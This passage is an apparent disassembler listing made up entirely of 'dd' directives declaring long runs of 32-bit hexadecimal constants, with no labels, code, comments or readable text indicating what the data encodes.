		dd 9F28A3C5h, 0E5ADAC7Dh, 0DCACDC90h, 22E0908Dh, 0A2D84214h
		dd 0E5E90207h, 1442495Eh, 42D55257h, 0EB24F4CBh, 2D6D1F8h
		dd 0F797E826h, 8FB4EE95h, 4C75ED68h, 0BD864A76h, 0DD9A53D8h
		dd 530FD465h, 0A7C760D2h, 9409010Ah, 0BE289D56h, 159514F8h
		dd 3B064258h, 563A76D3h, 38393280h, 0E55C6094h,	3E9D1A45h
		dd 60CA3215h, 810E8D28h, 4CC24995h, 39E93F5Ch, 8AA72141h
		dd 0A6F6F122h, 6BAE0A49h, 3B391444h, 3A89B524h,	84102695h
		dd 9224F34Eh, 89025832h, 36631B47h, 5A41402Ah, 5C101881h
		dd 20511504h, 3B92315h,	5702FE83h, 46FAF472h, 0E4468D0Bh
		dd 2AFBAD9Dh, 5824C02Ch, 891DC50Fh, 0C63BFC30h,	68107205h
		dd 630A271Eh, 4BF244h, 8004EBC8h, 0D9384A24h, 2A9909F9h
		dd 741BDD0Ah, 243802Ch,	49F4755Dh, 0E8849F10h, 0B034BF98h
		dd 0B82E93F2h, 0D71462A7h, 53C4B90Bh, 5625C529h, 0B7F8C629h
		dd 5E1235BCh, 0BBF86E08h, 6F4B514h, 8BEFEC7Ch, 4212F0E2h
		dd 0BAE3EC3Ch, 0EFF02268h, 44250ED0h, 4C9956B2h, 0C6E7B969h
		dd 1390222Ah, 33542192h, 25D94A08h, 0F3A7D1F9h,	38B885E5h
		dd 8A8A4513h, 0C47DFCD6h, 287102B9h, 460308FDh,	0D5F517D6h
		dd 0F9BE7888h, 6A1C7A29h, 65029303h, 0F8125346h, 2F749C3Ah
		dd 4D8DB501h, 0E0315FE4h, 0D35104E0h, 7D99833Eh, 2D0AF1ECh
		dd 536785FDh, 31E81D90h, 7CA4AAF5h, 0C63CB79Fh,	14C9A3C2h
		dd 0B298F9CFh, 60A4E71Eh, 0E496FC18h, 0FECF8204h, 106629BBh
		dd 3075EC68h, 4C5D15AEh, 0F80F89C3h, 0ADC3E762h, 0EBAC2065h
		dd 7AFD2811h, 25E92E40h, 7EDA0503h, 85CF1061h, 0AF32ECC8h
		dd 0CB4EE819h, 430D558Ah, 0C6F52486h, 173DD1DBh, 0F052511h
		dd 0E70FCE21h, 0D5723940h, 8B1EA688h, 0B8894C96h, 14661366h
		dd 0ED8CEA51h, 0F1784DEh, 87B09F8Eh, 0B1E99EBBh, 4148DD2Ah
		dd 60267F3h, 188220Fh, 0FDB4757Fh, 745FE884h, 0B226F69Ch
		dd 0D525153h, 977E4B68h, 6883AF2Ch, 1021945Fh, 0E263D4BEh
		dd 462EE912h, 50C73BA6h, 0A7850F10h, 78247665h,	45868C2Eh
		dd 95110990h, 173A6618h, 44D63D10h, 448BF671h, 7342EC02h
		dd 0DFE6568Ch, 18B60DA9h, 0C5118DD2h, 8616B8A2h, 2278436Ch
		dd 0E1594A06h, 166E0846h, 0A1BA7AA5h, 0EB2007D3h, 737DA284h
		dd 0E988A79Dh, 0F2BF71D3h, 0E1C9901Ch, 103A841h, 0DF164412h
		dd 82369429h, 280E08B4h, 460E1AD9h, 0D367C49Fh,	72A57768h
		dd 0C99F4D95h, 0DC76228Ch, 90A19D72h, 3C1EF248h, 0E8667305h
		dd 9D6872A7h, 291AFD99h, 7DE40E8Bh, 119D1B39h, 0DAA3D2CAh
		dd 0F9B038F4h, 41F49018h, 339166A7h, 433625B2h,	0E4E98417h
		dd 429A1A3h, 4B70F1D8h,	0A446216Ah, 6F735020h, 714CE879h
		dd 0ECC3F31Ch, 0D9CDE3Dh, 9C88A946h, 23E0365Ah,	0FA47D1EAh
		dd 0F2D071E8h, 61E98831h, 54236F4Eh, 3A684744h,	0A92D108Dh
		dd 1B7B19C6h, 56638B2Ah, 5E22721Ch, 68D2332Ch, 537F8A5h
		dd 848A1A76h, 8D170515h, 0D007458Ch, 0F09084E0h, 3B79425Ch
		dd 83E67205h, 4FCB1CC0h, 3BCA8518h, 7068F9E8h, 0CC511374h
		dd 714A1608h, 0C01A0F45h, 0A424C083h, 485AFBCh,	0D004C280h
		dd 0C2DED429h, 6A7CD9E8h, 0E6D45832h, 0B9EB616h, 4EB25014h
		dd 3354824Bh, 7DE8666Fh, 0D24EEA50h, 20CDF88Ah,	32B37096h
		dd 4E7EB6AAh, 73288D8Bh, 0E747ACDCh, 0E022144Ah, 6A2D13B8h
		dd 0B735CB10h, 63A3B60Ah, 60501127h, 428C4229h,	0D596D91Ch
		dd 28858B61h, 87D8653Fh, 0B6B8977h, 0D5B33B9Bh,	2F668CD1h
		dd 25FC22C8h, 0FE5013E8h, 0E50D07BBh, 0CB3EFF29h, 221643EEh
		dd 0EA2980CFh, 0E0EB80F8h, 0B0074E9Dh, 82C170CAh, 0F9A571D6h
		dd 1C14B2DBh, 8852AD24h, 0EE2FE813h, 11F0E5CFh,	234B4A98h
		dd 70EBF846h, 0AB459D8Fh, 0CC8A710h, 0C414C108h, 21032A7h
		dd 185F14B0h, 0A0D0020Dh, 28891808h, 4552AD86h,	1C1C90F4h
		dd 0E611B121h, 0B8E8B14h, 45B52264h, 0BDEC60B8h, 0C83B2C81h
		dd 0C18BF87Dh, 28210BBEh, 6A037F07h, 986858A0h,	0FC98BF3Ah
		dd 18823EA9h, 9927E240h, 64F8A5FEh, 81504B7h, 0F91E1B82h
		dd 0A5F92515h, 53E85531h, 0C3EBFB0h, 986E86C6h,	0C35E6523h
		dd 0DEC21952h, 0E804820Ch, 0C31E901Dh, 50682757h, 2C106568h
		dd 0DB06D782h, 0C29DCDF8h, 777392DEh, 56625C22h, 0C694CDEh
		dd 0B7573127h, 6D46105h, 654CA308h, 64BC1BC8h, 19A46240h
		dd 51830C44h, 0F3C3223Dh, 5E0D2748h, 24F4448Fh,	0E50CF54Bh
		dd 0B095244h, 0C618B0D2h
		dd 11B6C05h, 18ECB55Fh,	8D0C19F3h, 802B40B1h, 401F3D51h
		dd 330775CCh, 0E2E9F61Ah, 0AC80F63Dh, 0CE598929h, 0E98BA9F1h
		dd 4257D4BEh, 55FDE8Bh,	34AACEABh, 0D21709CBh, 534C79DAh
		dd 9884D047h, 8B2DD3h, 0FB3BEC7Dh, 0DE030872h, 0D1EB17A0h
		dd 0C0EFC125h, 267D894Ah, 20D969F0h, 12989256h,	71CE05E8h
		dd 0BF0B75E9h, 0CD69F247h, 0EDDE8AA1h, 3E890805h, 40916FDh
		dd 0C2504976h, 0F8682695h, 0BFF42870h, 0B4B3B237h, 0F0E80C57h
		dd 4D398B55h, 6846E7F8h, 34903BD4h, 630C8909h, 448D1B03h
		dd 0A314D3B4h, 66833B37h, 0FE40F0E9h, 4DFF05DFh, 0AC575F4h
		dd 1160F08Ah, 3B06B9Ch,	630B8604h, 0FC7DAF95h, 34FF690Ch
		dd 4E68A803h, 0F8711610h, 6E8057A0h, 7B08B334h,	64FCA0D7h
		dd 0AEF409F0h, 3BD5D52h, 0A9046A12h, 0E04029A2h, 6406758Fh
		dd 0F7E8AEE9h, 0EA6AE086h, 35F4BECCh, 0A7418B48h, 4026829Ah
		dd 78DDBD8Dh, 4C891F3Fh, 6212EA03h, 0A00815E4h,	86FEA957h
		dd 9533DCF4h, 1E7E0C09h, 0C46AD44Bh, 5E8D26DCh,	24E6B2E0h
		dd 4FC14244h, 1847BD80h, 21462A0Fh, 0DD58E4C8h,	0C836ACCCh
		dd 51AFB918h, 811E9792h, 3F197614h, 0FEDB53C1h,	0EE01DE09h
		dd 807A0AEBh, 0B8489D0h, 0CB321058h, 61F57CF8h,	4014C381h
		dd 0FFC4D0Fh, 55FA8535h, 29BFFD61h, 0C55E643Fh,	3225F3C1h
		dd 6C59B16Dh, 6EA84526h, 0AC323D94h, 87DC2958h,	0D1CC5242h
		dd 814495B1h, 57AB169Eh, 756FA8F3h, 74F73B1Ch, 4227557Ch
		dd 3FF436FAh, 17655C94h, 0E4213B24h, 2C554E19h,	2F3EB5F0h
		dd 3F1C477Eh, 0F05E4B7h, 510C488Dh, 60870E6h, 0C365CF9h
		dd 4DE32086h, 0B99E5284h, 0B628F2Ch, 0D698DF43h, 7C2C1E3Bh
		dd 0C20873B9h, 5B590BCBh, 0FE587582h, 5A255A23h, 3F26F11Bh
		dd 0A6569DC8h, 9BE816B5h, 275EF7CBh, 0B44DD12Ah, 8B8EC9DEh
		dd 18CB8EB4h, 594C688Fh, 5F84E73Bh, 1E80248h, 9DE1CC24h
		dd 219AB9EEh, 0C2421090h, 0AA145D7Dh, 81BAB822h, 75CB9E2Eh
		dd 0D1D88B63h, 76733024h, 0F77DA948h, 0B86AA1D2h, 58530180h
		dd 276D13Bh, 1CF21CA5h,	0A418E829h, 63255E24h, 106A998Ch
		dd 50C8B7Bh, 57097514h,	1C00AEC4h, 4D8D63EBh, 5D89390Ch
		dd 0ADDC51B6h, 0E7B7505Eh, 393C740Dh, 8037D428h, 63BD2473h
		dd 761707E3h, 7B048A21h, 1011187Eh, 0F01FF07Dh,	0F816F808h
		dd 7FF9F904h, 2E86C6D1h, 863B412Eh, 81DF7235h, 4CAF9606h
		dd 0B888E3A9h, 9DA2CAA6h, 0DFAAFBACh, 5617B7CEh, 91323374h
		dd 0A42088D8h, 0A0FD592Fh, 0B537B0B0h, 0D6EEB12h, 7A1425FFh
		dd 92DE708Dh, 7E148B40h, 0C40C45C0h, 8559BA1Dh,	8800697Ah
		dd 46073E04h, 8FE8359h,	80EC7C40h, 3DB0D967h, 87BA1C10h
		dd 0A1DD0610h, 9CC81411h, 0DA0D1071h, 7024D9FBh, 0BEAC1412h
		dd 5EC5BCD6h, 2154AD1h,	0E0878002h, 0BADAF5Ch, 5E853015h
		dd 8849A790h, 31DB40AFh, 0A3DDCE5Bh, 0F8C11D2Ah, 56EB4D63h
		dd 46863875h, 4401C815h, 6278083Ah, 4234CDF9h, 431E2002h
		dd 4CDD2170h, 6DD99DDCh, 83130341h, 361205C3h, 98CAC950h
		dd 2C518228h, 1643E3Ch,	0F7754E08h, 1D4CDBE9h, 3ED7E98h
		dd 0BB47382Dh, 84D4A569h, 5C830F05h, 0CD821864h, 0C39055ECh
		dd 1AA1C908h, 362FCFF3h, 4369E641h, 0AE1845ECh,	800544EBh
		dd 141235A4h, 4283F414h, 2EE1781Eh, 84157223h, 8E963EFh
		dd 0E4B8732Fh, 0DF40B548h, 0C853C3E8h, 7E9C5993h, 85A3755Ch
		dd 6C3456F8h, 4760375Eh, 72354B0Ch, 6CBB1F81h, 674E651h
		dd 75021781h, 3253560Dh, 4A861529h, 427677Dh, 0B18012E5h
		dd 0B73B6468h, 6E57DF66h, 80033218h, 0C9BF2481h, 4F0741D5h
		dd 5366AC8h, 268033F1h,	7682F4ABh, 0FEFB5078h, 4B64FE8h
		dd 3282ECAAh, 0B6C65C68h, 0F4533E6Bh, 2D2F2085h, 0AADA03C0h
		dd 5272C73Ah, 36132373h, 506F5D7Fh, 844E1148h, 987864Eh
		dd 72CC3B50h, 1427B052h, 104149ECh, 8B28C7E5h, 1883D9DEh
		dd 9A5912D9h, 0A2BFFD9h, 775A3CF6h, 0BE569724h,	42914A3Dh
		dd 14124354h, 8D8F3DECh, 228879C1h, 0DC88FDF8h,	2D7A448Fh
		dd 68971888h, 0C2B8FD5Ah, 0CB6C791h, 0CE6E1ECDh, 0BFB7DB2h
		dd 0FDC78813h, 480BD3C9h, 5C1ED856h, 0D36ED002h, 0FF2F658Dh
		dd 0C5BF0CD6h, 388A9C34h, 5E531844h, 0FCACD1ADh, 0CE428515h
		dd 0EB211CC6h, 0C6E55867h, 0E6B553AEh, 0C6EC28A3h, 3F245D73h
		dd 0D932E559h, 5FDE591Bh, 0B9C03342h, 0F8381C84h, 4FE468D9h
		dd 0A2442187h, 87F05312h, 1A398E28h, 3148358Bh,	74529A77h
		dd 3AE39AFh, 6C274820h,	72CB8027h, 96B771D6h, 0EB5CC54Ch
		dd 0FFF0DE62h, 5D4C2FA4h, 0AC1D8BC4h, 3AD3555Fh, 2F34028Ah
		dd 0D65F3C44h, 0A716478Ch, 7C561036h, 0D3926DB9h, 8A01DC3Ch
		dd 0ACF534C2h, 70684048h, 1C0F693Fh, 3E08E6AEh,	99BBD83Eh
		dd 39131464h, 5C74A212h, 0AC551554h, 0C00987F8h, 84B044C5h
		dd 0B11EC814h, 53C48388h, 0E9406022h, 90F9AE2h,	0A70E54E2h
		dd 6A10D011h, 0E084D99h, 9248A04h, 212CAB28h, 0C576508h
		dd 0A18EC6FEh, 0ED80595Bh, 0B80F76C0h, 0E5CFA1Bh, 7C8D0475h
		dd 3B4101C0h, 0F14E72C8h, 2DAA3AD4h, 38FB5A8Bh,	0F2A64E6Ah
		dd 0A7A3CF94h, 80340A77h, 7C8B9C20h, 0B1B73C22h, 953B14A7h
		dd 0D0CBC6Ch, 82645CE8h, 5E7E4975h, 100BE12Fh, 81BC7C88h
		dd 74FE3B5Eh, 9E612814h, 442E6451h, 0E461650h, 0C76F754h
		dd 68178D34h, 0DB3E8C30h, 9AC480E8h, 0B77D51BAh, 7E9BA7E7h
		dd 0AA79E704h, 69CAA843h, 0ED3A8A8Dh, 85E47493h, 5D54BE6Bh
		dd 422FDAB5h, 0C5215E0Ah, 8AD2B808h, 57182D4Fh,	0D5306802h
		dd 697DF2AFh, 0E90A3F21h, 3C52AFABh, 0E8320490h, 0DA59AD1Dh
		dd 0E3085E18h, 0AC0944E0h, 5CA6418Bh, 0F2D58D3Ah, 9CA14A32h
		dd 36C26F5h, 0C6E862A0h, 26BE0049h, 0FC941036h,	0DB250848h
		dd 39F08956h, 6D905D1Dh, 33D3975Ah, 0BF8A74F8h,	930B0DABh
		dd 98624D2Ch, 922FD45h,	0C442BFDFh, 374EC3B7h, 1064A3E5h
		dd 2A991A07h, 8A5518A2h, 58506C11h, 0C75ABE1Ah,	0F0980B6h
		dd 0EAFAA384h, 83F85F80h, 0D108C730h, 4D751F39h, 0E9400E94h
		dd 456245CFh, 9CB2488Ah, 0DF4F76A1h, 85F06FA1h,	0A222FD34h
		dd 0E807908Dh, 5282A421h, 42642636h, 0E5EE2720h, 2ECD63D3h
		dd 0D2782DACh, 0F8540D0Bh, 75A19491h, 9ECCE065h, 942408B2h
		dd 0E8433F3Eh, 0F4394BCDh, 9954A4Fh, 0C15D81A9h, 0B6FD03E6h
		dd 63BA6751h, 894B517h,	9064AF0Bh, 6D991150h, 29321497h
		dd 4D531C58h, 921C2486h, 0B002056Bh, 0D27A842Dh, 0B99D6E0h
		dd 0E34F0B02h, 7C9E4704h, 4E0652FBh, 60BFBE5Ah,	205EA0A8h
		dd 3D2B5356h, 0A63FD6C2h, 0A0091BE4h, 0D0AD0366h, 0C1354F50h
		dd 47286AD7h, 53DF6A83h, 9036FEFDh, 2264200Ch, 0A49D55A1h
		dd 0C620E69h, 93B83102h, 0E63BBB3h, 53BD1FF4h, 33D3E733h
		dd 6C3D39C2h, 74FC0A01h, 260ABE6Bh, 0C5D02697h,	8410CE53h
		dd 7054C1B0h, 62629C12h, 9B19F885h, 8A4E1548h, 58506511h
		dd 0C54DB71Ah, 5774C507h, 88375F8h, 0C1FDF78Bh,	429E758Eh
		dd 8544BE85h, 0D0865648h, 94824A4h, 27BE3AA1h, 45F611DFh
		dd 14269723h, 59994440h, 0E810A852h, 44B7441Fh,	9DEB86AFh
		dd 0FF94B9ECh, 84FB72Bh, 61F85862h, 0E026B18Fh,	0C4B722FAh
		dd 962C61A1h, 7CB84BF7h, 0C77E53F7h, 22422B4h, 2D6C1F74h
		dd 43A17E88h, 4F852C87h
		dd 0B4F8E13h, 0A216D4B8h, 56C0E411h, 0BEBD641Ah, 0FA2C3871h
		dd 0C05D4F41h, 4FCCF578h, 14AB8B11h, 0B5D63DB2h, 8DD5992Dh
		dd 0BD7C7AC6h, 6F683569h, 0BFB7AD5h, 5FAD7DFh, 0B201FC21h
		dd 8022F312h, 42481BDh,	12910E75h, 0D20125EDh, 805E5BCDh
		dd 9D38F669h, 749D3663h, 8D4401Eh, 0D4105A6Ah, 8AC2316Ah
		dd 5DDD2EC0h, 0FBD92611h, 2C024312h, 641857F9h,	0DF69D8E8h
		dd 0D556EA12h, 9E775D13h, 85E4F45Ch, 74A3B60Fh,	0E662843h
		dd 682EAB46h, 9467FFC0h, 1418515Ah, 2D377566h, 301A086Ah
		dd 0BF9BA248h, 3DD82CD3h, 0F3C6FC08h, 0A15B9D48h, 0F9CA385Fh
		dd 0D38F28F0h, 0E9124411h, 2A80C92Eh, 0FA0A0D0Ch, 0FBEE25B5h
		dd 9A42CA73h, 3D5F1BC3h, 5332B2B2h, 3019F045h, 55243E16h
		dd 0FC451DE6h, 8B27742Ch, 0BF39A92Eh, 7C28750Ah, 0E7BC235Ch
		dd 721871Eh, 0AB2E910h,	5A4256A4h, 3820942Ah, 1024BE0Ch
		dd 0DE54C29Eh, 5983A15Dh, 5B642E74h, 0E3E95F2Ch, 8D08245Ah
		dd 74617442h, 0E95C9FE2h, 0FC2D3217h, 3C12F5C2h, 0A455FA5h
		dd 563B190Fh, 2621FC43h, 0CEE62110h, 253B1D57h,	0E2F75E0Ah
		dd 198280EBh, 2276E6D7h, 4A11CF66h, 0A405AD59h,	1B4CDC7h
		dd 0AB563512h, 4BA71212h, 85BE0711h, 1708BDF9h,	31DAA544h
		dd 5FDF6528h, 5950184Dh, 0ABB04EEBh, 7BFE4440h,	0ED2F1746h
		dd 441254D3h, 4C421AE3h, 5A37824Ah, 113F8213h, 0BF04DAACh
		dd 215F64ADh, 51E03A11h, 49D88B4Eh, 0AECC3A2Ch,	0DB41848Dh
		dd 0C47012E6h, 1D9A7053h, 0EEA56BE8h, 0FACB909Ah, 0EBC5A92Ch
		dd 27896A4Ch, 8D64501Eh, 22A93E53h, 0A21C84Ah, 7CD12E10h
		dd 2B60964Ah, 8A311A40h, 544FEE60h, 5AB34040h, 83906414h
		dd 13EB56F8h, 0D5AE3162h, 861C44E5h, 0DF9F289Bh, 61E93E0Bh
		dd 5386EE49h, 0EE8E10E1h, 73168D27h, 0D2F94B46h, 5D53531Dh
		dd 75124AB9h, 203AFD23h, 0D2E5970Ah, 0C25C4988h, 8D18C112h
		dd 0CFF8565Dh, 0C4BC9C11h, 32EE5B74h, 11827F5Ah, 42DE1045h
		dd 63955E4Bh, 63F56A57h, 634E6ECAh, 27B61C12h, 9E861A2Fh
		dd 83825B6Ah, 87383BA1h, 0DC2BA68Bh, 5E563412h,	0DC404DBDh
		dd 0D212E7ACh, 70A9751Ah, 106E0FE6h, 7CD6C2D0h,	321571Bh
		dd 0BA700C8Dh, 48A800Fh, 80018802h, 4A7AC761h, 0D2851049h
		dd 0E297EC7Dh, 0A7397972h, 0BB5B4E50h, 0DF0C9C9h, 3C800348h
		dd 6752030h, 94CB8B4h, 5C5EEFEBh, 8AEA4C29h, 0C9840A13h
		dd 4C3A5C06h, 1750254h,	0F0EB4240h, 53D39155h, 57070E6Ch
		dd 27187539h, 0F9539F1Bh, 87E234AAh, 8D140A0Bh,	887A150Ah
		dd 7649EB9Fh, 0B28B3948h, 2B95C00Ch, 6817A0FAh,	0D7CC3F54h
		dd 4205411Bh, 0B1A91041h, 3896303h, 0B88245D2h,	63607D39h
		dd 414B7E30h, 738DBE80h, 36296C04h, 461D397Eh, 792F74FCh
		dd 3F54086Eh, 1804E742h, 0A9A90689h, 48837F08h,	56C99F03h
		dd 0DFF8A7C9h, 4894709h, 0B1025C31h, 0BAC87C86h, 2F30CE98h
		dd 95F669F7h, 0A3809DC4h, 24AE6C1h, 0BB049281h,	883D8695h
		dd 5D58DB69h, 15B81EC8h, 139FAA2Eh, 0CB5A0A47h,	57568AD4h
		dd 0CA76AAADh, 3F185A5h, 1F98318h, 68A90AFh, 84600788h
		dd 47460BE0h, 7521C349h, 0A0F4C6F0h, 0E8955DA2h, 498A045Ah
		dd 10031708h, 7C30F980h, 393850CFh, 4000037Fh, 0C032EDEBh
		dd 9301B0C3h, 0F95AAD1Fh, 0A129E8E8h, 0C07E9BAh, 4CE6583h
		dd 0A8F9D82Bh, 0CA397819h, 2ACB908h, 74C13A0Fh,	1FC45D14h
		dd 48098DF0h, 75D13B20h, 6411E2B9h, 329057B2h, 38BEDB25h
		dd 90FF106Fh, 0E0465F13h, 0CA5E7EA7h, 33493FF6h, 0FE00A241h
		dd 91F1EBC1h, 44A0AABEh, 89A1110Eh, 0A8E480Dh, 4C8AACA0h
		dd 38A83048h, 0E003A4EBh, 0C9335782h, 8AD2418Dh, 0FA80D28Ch
		dd 0AC2053Ch, 4307750Ah, 4101EFDCh, 809AECEBh, 0C939435Fh
		dd 32414440h, 20070BD0h, 0F296CBBAh, 24EEFAC4h,	2A8DBA2Fh
		dd 8AF16750h, 480D216h,	9585091Ch, 8017EBEEh, 638896F4h
		dd 3E807414h, 467E6086h, 0CFC7E24Bh, 961B2FE9h,	8BC0CE0Dh
		dd 5DDB122Eh, 0F196724Bh, 53AA458Fh, 90DFE646h,	4AD92B28h
		dd 2EFE2E51h, 0C21AEDB0h, 46403386h, 7C04D3E0h,	25DEEB53h
		dd 0A5A52C3h, 108448Dh,	890A2081h, 4E25EAE5h, 6AEACC2Eh
		dd 25172E48h, 0B31E7C6Bh, 7FA1035Eh, 18042023h,	305B44B7h
		dd 14141988h, 7A1C32Bh,	1FF10Ch, 0E6483C74h, 1606C828h
		dd 401DA02Dh, 4DE85156h, 0A35E087Ah, 0ED741334h, 946BC0C2h
		dd 0B1DE4C0Fh, 51115ACAh, 0C31812CDh, 0F72324C2h, 1A1B16AEh
		dd 3AFF0C98h, 1282FE3Ch, 0FA5F018Ah, 0D5277572h, 0D9436178h
		dd 9DF46121h, 44256877h, 56E8168Fh, 1FF36158h, 6CE90CBDh
		dd 73582F84h, 69057291h, 31495F75h, 8AB42759h, 334BA589h
		dd 263821AEh, 0E3984153h, 4946AB8h, 0C3FE4941h,	10CFB60Fh
		dd 95BCDF80h, 0DB841628h, 0FF3DB5Bh, 0EB510361h, 70B4794h
		dd 72F5868h, 5F59E59Fh,	422EB520h, 49CC94B8h, 0E038D6D2h
		dd 1065384Bh, 1F725056h, 0E84C1323h, 995D2F0Dh,	372A3CB1h
		dd 0E009ACDDh, 3A2CD489h, 0A6FEA185h, 0DD864F14h, 8C505A82h
		dd 0EE95E461h, 82E82B61h, 0E827921Fh, 92F4CE5Dh, 0DC2727B3h
		dd 6115EAD3h, 3213D621h, 7127371Ch, 0D03EB25Fh,	31843758h
		dd 0EE125483h, 32FFBDE8h, 4399CC56h, 0E8894CF0h, 2916A752h
		dd 0E49455C8h, 9194DE9Bh, 54C48B16h, 31D8C553h,	567BE8ADh
		dd 0D053196Ah, 24C82A48h, 505C682Eh, 587E026Bh,	9DCAC6B7h
		dd 0F081BE6Eh, 0F8815820h, 0F08473AEh, 46FDB121h, 7486D921h
		dd 468EE853h, 21902BD1h, 0D520CB23h, 930FF040h,	0E8843036h
		dd 5491B6CFh, 1BF42A32h, 945B5DFDh, 0F8C815BAh,	0F162E465h
		dd 0FC1599A5h, 0E91E00Ch, 1550BAB4h, 0C31DA998h, 0B6959D01h
		dd 9C72C35Bh, 2C41A470h, 1898B8Ch, 4291F229h, 8B123E08h
		dd 0B2234333h, 0C321621Fh, 0F20EC3E1h, 28C25FD3h, 1565740h
		dd 2C05464Dh, 1A4C8BF4h, 7DCBFB41h, 4CDF7D46h, 0D1305C39h
		dd 28A1A49h, 19063A2Eh,	753B4618h, 4220CF03h, 0EC10B21Fh
		dd 22C28757h, 4AAF7A0Fh, 8E8157DEh, 2BC22BC1h, 0C42323D3h
		dd 310F2DC1h, 0B4DF59CEh, 0AF0BFBE0h, 51092BEEh, 19F82720h
		dd 5B37DA4Fh, 2B2918EFh, 1B5602C7h, 86A068D3h, 4152D861h
		dd 7B710D8h, 15C68CF9h,	0D63B8806h, 0C67758C0h,	17810872h
		dd 1E4240FFh, 34BC9869h, 74B05264h, 8CDD6C55h, 3CC88B12h
		dd 95809558h, 5726177h,	50F98301h, 4B6A0673h, 2A581D99h
		dd 1184F277h, 0E4424847h, 2437223Fh, 112E7232h,	39211226h
		dd 891E081Dh, 840C1C19h, 0C8730A3Ah, 2B2360BAh,	0BCC703C1h
		dd 3E1BEB4Bh, 51383DB9h, 421F6ABEh, 6C5C0790h, 90D7FF42h
		dd 0A346C6F3h, 16104EDDh, 68300EDCh, 3154418Bh,	71B925B9h
		dd 29F9A5D4h, 0C8311694h, 8195308h, 5F666680h, 25DBE72Ah
		dd 0E4D2F42Ch, 0FCD47101h, 0B446BD08h, 5043AF3Ch, 0FBBE90E8h
		dd 73507C11h, 0CCB0FA98h, 9C131028h, 0C1080550h, 0AD14E839h
		dd 0DCB461EEh, 800A70E0h, 512780B9h, 28DC7101h,	18489744h
		dd 0E19D3C6Ah, 0E1615DEh, 0C710F422h, 0B18BE84Eh, 0F2B9F1F7h
		dd 49CA8CFFh, 0E855DFFAh, 4C29D28h, 0EF861809h,	0ED118C2h
		dd 8C6149CEh, 8A18EBB0h, 0C8646B4Ch, 6A44301Dh,	1BC9AA24h
		dd 0C709F4C3h, 9418DA79h, 97ABF3B5h, 3444E694h,	41FA883h
		dd 42783EBFh, 70E4F963h
		dd 47750F19h, 1216042Ah, 8A0C1E40h, 0BF3434F0h,	0E23336Ch
		dd 0F279F302h, 60EB2268h, 69502792h, 1064BF28h,	5A053786h
		dd 60BF3E75h, 5C37100Ah, 2E750541h, 52905059h, 0C61E8858h
		dd 54422101h, 2190E23h,	1E0F4CCFh, 10548012h, 9741437h
		dd 10941B2h, 0EDE8E4EEh, 402E79D2h, 4842ECA9h, 44130732h
		dd 88A58021h, 0EB9597Ah, 0F50009FBh, 3789A20Fh,	62177C9Dh
		dd 6828095h, 0B72E848Dh, 8430DBB5h, 2E87B519h, 42146253h
		dd 70C9CE76h, 0ECB89FC9h, 84BA4875h, 0C35F20D3h, 9A667C17h
		dd 2454DC16h, 0B0D6918h, 87323A58h, 132C910Ch, 27093331h
		dd 0BF10386Dh, 0D90C89F8h, 6FFC4BA7h, 0E591B996h, 6935FCB8h
		dd 274BF41h, 947FD8D1h,	15A6C6AAh, 0A3E8D040h, 0C11003FAh
		dd 51B04D8Dh, 4EC8083Ah, 5852AE93h, 0E88CB808h,	9796EC06h
		dd 63132224h, 0B4885C50h, 95C16A86h, 42F9E6D8h,	841B0406h
		dd 30E47521h, 0C2D30C8Eh, 4F5C51A3h, 4582B226h,	6D2F2654h
		dd 6889D862h, 421AD66Ch, 6A0D3413h, 257BB122h, 78B20BACh
		dd 0B1DE336Ah, 85B1EA70h, 6FF240Dh, 8E018C2Ah, 2642E25Eh
		dd 0F4427C68h, 5FF362ABh, 7B0AE82Eh, 3BF42092h,	0CD880892h
		dd 0B6B15E9Dh, 52BD1904h, 0F808B99Fh, 8214C6B5h, 14B0D517h
		dd 7F9CD8C4h, 4A097AA6h, 203111DAh, 5CC2DCA8h, 0EB8774B8h
		dd 0A876519h, 890EC832h, 84F6CF2Bh, 759B071Eh, 25EEDC25h
		dd 55230B6Fh, 8132792Eh, 3885E83Eh, 0C2F097C1h,	770EA174h
		dd 8C89F808h, 44846908h, 428498D8h, 0A889765Bh,	89884D08h
		dd 0C814F844h, 3D44B821h, 59850348h, 4987066Ah,	8F7FC597h
		dd 48C7CBC3h, 0B25B5D26h, 159CB75Dh, 9EB43390h,	67CC1D0Dh
		dd 0D748200h, 7D09A2B9h, 39402000h, 0F8137519h,	3D42E8D1h
		dd 75FF788Dh, 5357FFC8h, 1250A4C9h, 102D5442h, 54894BFEh
		dd 0F30B2C04h, 1504A885h, 41A2184Ch, 0D0309151h, 9A6C8D5Bh
		dd 393C6724h, 3DA5840Ch, 3084C746h, 902234AEh, 3FE1B7D7h
		dd 740E1230h, 0C57D9C09h, 0CD8D7203h, 2E2809F1h, 502939B2h
		dd 467CA546h, 62B24CA5h, 0B07E7856h, 18ECBF56h,	19DE8A02h
		dd 0D309AEE8h, 3CA679D8h, 0F3B01016h, 2558595Dh, 95A1DEBFh
		dd 46983C57h, 6484D909h, 0B0F83410h, 0A095239Eh, 0E1E81E8Ch
		dd 0C19492AFh, 73C73B56h, 3D0B3A12h, 0D5D7933Dh, 0DFF89EE0h
		dd 0C4EB4A4Ah, 20209C12h, 467A0966h, 0EB5919C1h, 10F8B6B1h
		dd 0E66DDFF4h, 295D7AD9h, 2F3EA3E8h, 2B20E6E3h,	0B72AE7ECh
		dd 1E36626Eh, 875304B1h, 170E853Fh, 2413EC38h, 86A9A01Ch
		dd 4F0A5489h, 0FDB00877h, 31AF4642h, 0BE119338h, 2932D196h
		dd 89F4F9ACh, 0F9DBAF14h, 0AEB5F413h, 8A6B56C5h, 0F9864ECDh
		dd 0B527841Eh, 0B081C466h, 1070ECF4h, 0C7AD06D6h, 0EFFC9E9Bh
		dd 42E87930h, 79A09405h, 0E31419F0h, 922C9817h,	65FC8BF2h
		dd 92705FF1h, 438826BEh, 5898AE25h, 0FF525885h,	0AE5877A9h
		dd 99D88A18h, 0A1157B98h, 0F2C1D61Ch, 3474149Bh, 5822718Ch
		dd 2C5BB1FFh, 3EE49D09h, 8A7AD0A7h, 0DDE1F65Ah,	2CB107D9h
		dd 6105EB9Dh, 3F0EA07Dh, 0A63D7CC8h, 10F2248Dh,	0FCBF2ECDh
		dd 0F8C9BE45h, 7896097h, 5E03754Dh, 37127B7Dh, 1E1996CCh
		dd 0FE75F042h, 3DFC40C9h, 52E8EE4Bh, 78BBE083h,	5738B1Dh
		dd 74E770DDh, 6818EC12h, 0B415E888h, 90ACAC04h,	64B988BAh
		dd 10F948FAh, 40F222ECh, 2684FCF1h, 0A60657CAh,	0D4D865EAh
		dd 5994EA9Fh, 35958784h, 7FF8C20Fh, 8411C424h, 652FB84Ah
